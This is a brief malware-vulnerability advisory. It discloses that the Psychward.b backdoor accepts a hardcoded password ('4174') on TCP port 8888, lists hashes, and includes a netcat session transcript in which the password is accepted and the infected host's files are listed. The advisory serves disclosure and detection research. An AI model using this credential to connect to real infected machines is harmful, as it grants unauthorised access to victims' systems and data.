Backdoor.Win32.Psychward.b MVID-2022-0645 Hardcoded Credential

Backdoor.Win32.Psychward.b malware suffers from a hardcoded credential vulnerability.

SHA-256 | 4a196172d709119bf5c9fd8264d2064a406a4232f965f914f828caf704ad4124

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Psychward.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 8888 and requires authentication. However, the password "4174" is weak and hardcoded in cleartext within the PE file.
Family: Psychward
Type: PE32
MD5: 0b8cf90ab9820cb3fcb7f1d1b45e4e57
Vuln ID: MVID-2022-0645
Disclosure: 09/25/2022

C:\>nc64.exe x.x.x.x 8888
connected 09/12/22 20:44:12. version 0.2.1
pwd 4174
password accepted
12520437.cpx 2,151
12520850.cpx 2,233
@AudioToastIcon.png 308
@EnrollmentToastIcon.png 330
@VpnToastIcon.png 404
@WirelessDisplayToast.png 691
aadauthhelper.dll 154,624
aadtb.dll 954,880
AboveLockAppHost.dll 252,928

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